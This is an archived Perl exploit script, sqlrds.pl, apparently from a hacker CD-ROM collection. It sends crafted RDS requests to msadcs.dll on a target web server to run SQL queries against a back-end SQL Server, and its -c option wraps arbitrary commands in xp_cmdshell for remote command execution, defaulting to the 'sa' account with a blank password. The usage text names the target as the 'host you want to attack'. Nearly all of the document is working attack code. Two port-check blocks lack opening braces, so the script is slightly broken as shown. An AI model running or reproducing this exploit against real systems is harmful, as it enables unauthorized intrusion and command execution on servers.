home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 15 / hacker15 / 15_H4CK3R#15.ISO / eploits / sqlrds / sqlrds.pl < prev   
Encoding:
Perl Script  |  2004-03-03  |  6.2 KB  |  249 lines

  1. #!/usr/bin/perl -w
  2. ###############
  3.  
  4. ##
  5. # tool:        sqlrds.pl
  6. # version:    1.1
  7. # author:     H D Moore <hdmoore@digitaldefense.net>
  8. # purpose:    Provides access to SQL servers via RDS (MDAC 1.5 -> 2.5)
  9. # usage:    Run with no arguments for usage options
  10. # output:    Garbled output from RDS component, binary garbage mostly
  11. # bugs:        SQL 6.5 doesnt allow commands longer than 30 chars through RDS
  12. ##
  13.  
  14. use strict;
  15. use Socket;
  16. use Getopt::Std;
  17.  
  18. # determine whether or not to enable SSL support
  19. my $HAVE_SSL = 0;
  20. BEGIN {
  21.  
  22.     if (eval "require Net::SSLeay") {
  23.         Net::SSLeay->import();
  24.         Net::SSLeay::load_error_strings();
  25.         Net::SSLeay::SSLeay_add_ssl_algorithms();
  26.         Net::SSLeay::randomize();
  27.         $HAVE_SSL = 1;
  28.     }
  29. }
  30.  
  31.  
  32. ##                    ##
  33. #    MAIN STARTS HERE   #
  34. ##                    ##
  35.  
  36.  
  37. my %args;
  38. getopts("h:s:d:u:p:c:q:P:w:W:xv", \%args);
  39.  
  40. my $VERSION = "1.1";
  41.  
  42. # global options hash
  43. my %options = ( "Port" => 80,
  44.              "Server" => "(local)",
  45.              "Query" => "SELECT 1 + 1",
  46.              "DSN" => "",
  47.              "Database" => "master",
  48.              "Username" => "sa",
  49.              "Password" => "",
  50.              "Proxy" => "",
  51.              "ProxyPort" => "",
  52.              "Prefix" => ""
  53.            );
  54.  
  55. # require the host argument
  56. if (!defined($args{h})) { usage(); }
  57.  
  58. # validate the host
  59. my $bip;
  60. $bip = gethostbyname($args{h});
  61. if (length($bip) == 0){ print STDERR "Could not resolve host.\n"; exit; }
  62.  
  63. $options{"Host"} = $args{h};
  64. $options{"HostIP"} = $bip;
  65.  
  66. # if we are using ssl, change the default port
  67. if($args{x} && $HAVE_SSL == 0){ print "Please install the Net::SSLeay module for SSL support.\n"; exit; }
  68. if ($args{x}) { $options{"Port"} = 443; }
  69. if ($args{x} && $args{w}) { print "Proxy support is not implemented for SSL connections.\n"; exit; }
  70.  
  71. # validate the port
  72. if(defined($args{P}))
  73.     if (int($args{P}) > 65535 || int($args{P}) <= 0)
  74.     { 
  75.         print "Invalid port specified.\n";
  76.         exit;
  77.     }
  78.     $options{"Port"} = $args{P};
  79. }
  80.  
  81. # validate the proxy port
  82. if(defined($args{W}))
  83.     if (int($args{W}) > 65535 || int($args{W}) <= 0)
  84.     { 
  85.         print "Invalid proxy port specified.\n";
  86.         exit;
  87.     }
  88.     $options{"ProxyPort"} = $args{W};
  89. }
  90.  
  91. # web proxy support
  92. if(defined($args{w}))
  93. {
  94.     $options{"Proxy"} = $args{w};
  95.     $options{"Prefix"} = "http://" . $options{"Host"} . ":" . $options{"Port"};
  96.     $options{"Port"} = $options{"ProxyPort"};
  97.     $options{"HostIP"} = gethostbyname($options{"Proxy"});
  98.     if (length($options{"HostIP"}) == 0){ print STDERR "Could not resolve proxy host.\n"; exit; }
  99. }
  100.  
  101. if(defined($args{s})){$options{"Server"} = $args{s}; }
  102. if(defined($args{u})){$options{"Username"} = $args{u}; }
  103. if(defined($args{p})){$options{"Password"} = $args{p}; }
  104. if(defined($args{c})){$options{"Query"} = "EXEC master..xp_cmdshell \"cmd.exe /c" . $args{c} . "\""; }
  105. if(defined($args{q})){$options{"Query"} = $args{q}; }
  106.  
  107. # create dsn
  108. $options{"DSN"} = "DRIVER={SQL Server};SERVER=".$options{"Server"}.";DATABASE=".$options{"Database"}.";UID=".$options{"Username"}.";PWD=".$options{"Password"};
  109.  
  110. $options{"ReqLen"} = length(make_request()) - 28;
  111. $options{"ReqLenLen"} = length($options{"ReqLen"});
  112. $options{"ConLen"} = 206 + $options{"ReqLen"} + $options{"ReqLenLen"}; 
  113.  
  114. my $results= send_request( make_header() . make_request());
  115.  
  116. $results =~ s/\x00//g;
  117. $results =~ s/\xff\x62/\n/g;
  118. print "---[ RESULTS ]---\n$results\n\n";
  119.  
  120.  
  121. sub usage {
  122.     print STDERR qq{
  123.  
  124. *- -- ---[ sqlrds.pl v$VERSION - H.D. Moore <hdmoore\@digitaldefense.net>
  125.  
  126. Usage: $0 -h <host> -c 'command'
  127.  
  128.     -h <host>       = host you want to attack
  129.     -s <sql server> = the sql server to use (local)
  130.     -d <database>    = the database to use (master)
  131.     -u <username>   = username to use (sa)
  132.     -p <password>   = password to use (blank)
  133.     -c <command>    = command to execute
  134.     -q <sql query>    = sql query (instead of command)
  135.     -P <port>       = web server port
  136.     -w <proxy host> = http proxy host
  137.     -W <proxy port> = http proxy port
  138.     
  139. Options:
  140.     
  141.     -x              = ssl mode
  142.     -v              = verbose
  143.     
  144. };
  145.     exit(1);
  146. }
  147.  
  148. sub send_request {
  149.     my ($request) = @_;
  150.     my $results = "";
  151.     my $got;
  152.     my $ssl;
  153.     my $ctx;
  154.     my $res;
  155.     
  156.     select(STDOUT); $| = 1;
  157.     socket(S,PF_INET,SOCK_STREAM, getprotobyname('tcp') || 0) || die("Socket problems\n");
  158.     select(S); $|=1;
  159.     select(STDOUT);
  160.  
  161.     if(connect(S, pack "SnA4x8", 2, $options{"Port"}, $options{"HostIP"}))
  162.     {
  163.         if ($args{x})
  164.         {
  165.             $ctx = Net::SSLeay::CTX_new() or die_now("Failed to create SSL_CTX $!");
  166.             $ssl = Net::SSLeay::new($ctx) or die_now("Failed to create SSL $!");
  167.             Net::SSLeay::set_fd($ssl, fileno(S));   # Must use fileno
  168.             $res = Net::SSLeay::connect($ssl);
  169.             $res = Net::SSLeay::write($ssl, $request);  # Perl knows how long $msg is
  170.             shutdown S, 1;    
  171.  
  172.             while ($got = Net::SSLeay::read($ssl))
  173.             {
  174.                 $results .= $got;
  175.             }         
  176.  
  177.             Net::SSLeay::free ($ssl);               # Tear down connection
  178.             Net::SSLeay::CTX_free ($ctx);
  179.             close(S); 
  180.         } else {
  181.             print S $request;
  182.             sleep(1);
  183.             shutdown S, 1; 
  184.             while ($got = <S>)
  185.             {
  186.                 $results .= $got;
  187.             } 
  188.             close(S);
  189.         }
  190.      } else { die("Error: connection failed.\n"); }
  191.     return $results;
  192. }
  193.  
  194. # blatently ripped from msadc2.pl
  195. sub make_unicode { 
  196.  
  197.     my ($in)=@_; my $out;
  198.     for (my $c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
  199.     return $out;
  200. }
  201.  
  202. # blatently ripped from msadc2.pl
  203. sub make_header {  
  204.     my ($aa, $bb, $msadc);
  205.  
  206.     $aa="AdvancedDataFactory.Query";
  207.     $bb="3";
  208.  
  209.     $msadc=<<EOT
  210. POST $options{"Prefix"}/msadc/msadcs.dll/$aa HTTP/1.1
  211. User-Agent: ACTIVEDATA
  212. Host: $options{"Host"}
  213. Content-Length: $options{"ConLen"}
  214. Connection: Close
  215.  
  216. ADCClientVersion:01.06
  217. Content-Type: multipart/mixed; boundary=!DDI!ROX!YOUR!WORLD!; num-args=$bb
  218.  
  219. --!DDI!ROX!YOUR!WORLD!
  220. Content-Type: application/x-varg
  221. Content-Length: $options{"ReqLen"}
  222.  
  223. EOT
  224. ;
  225.     $msadc=~s/\n/\r\n/g;
  226.     return $msadc;
  227. }
  228.  
  229.  
  230. # blatently ripped from msadc2.pl
  231. sub make_request {
  232.     my ($req, $t1, $t2);
  233.  
  234.     $t1 = make_unicode($options{"Query"});
  235.     $t2 = make_unicode($options{"DSN"});
  236.  
  237.     $req = "\x02\x00\x03\x00";
  238.     $req.= "\x08\x00" . pack ("S1", length($t1));
  239.     $req.= "\x00\x00" . $t1 ;
  240.     $req.= "\x08\x00" . pack ("S1", length($t2));
  241.     $req.= "\x00\x00" . $t2 ;
  242.     $req.="\r\n--!DDI!ROX!YOUR!WORLD!--\r\n";
  243.     return $req;
  244. }
  245.  
  246.  
  247.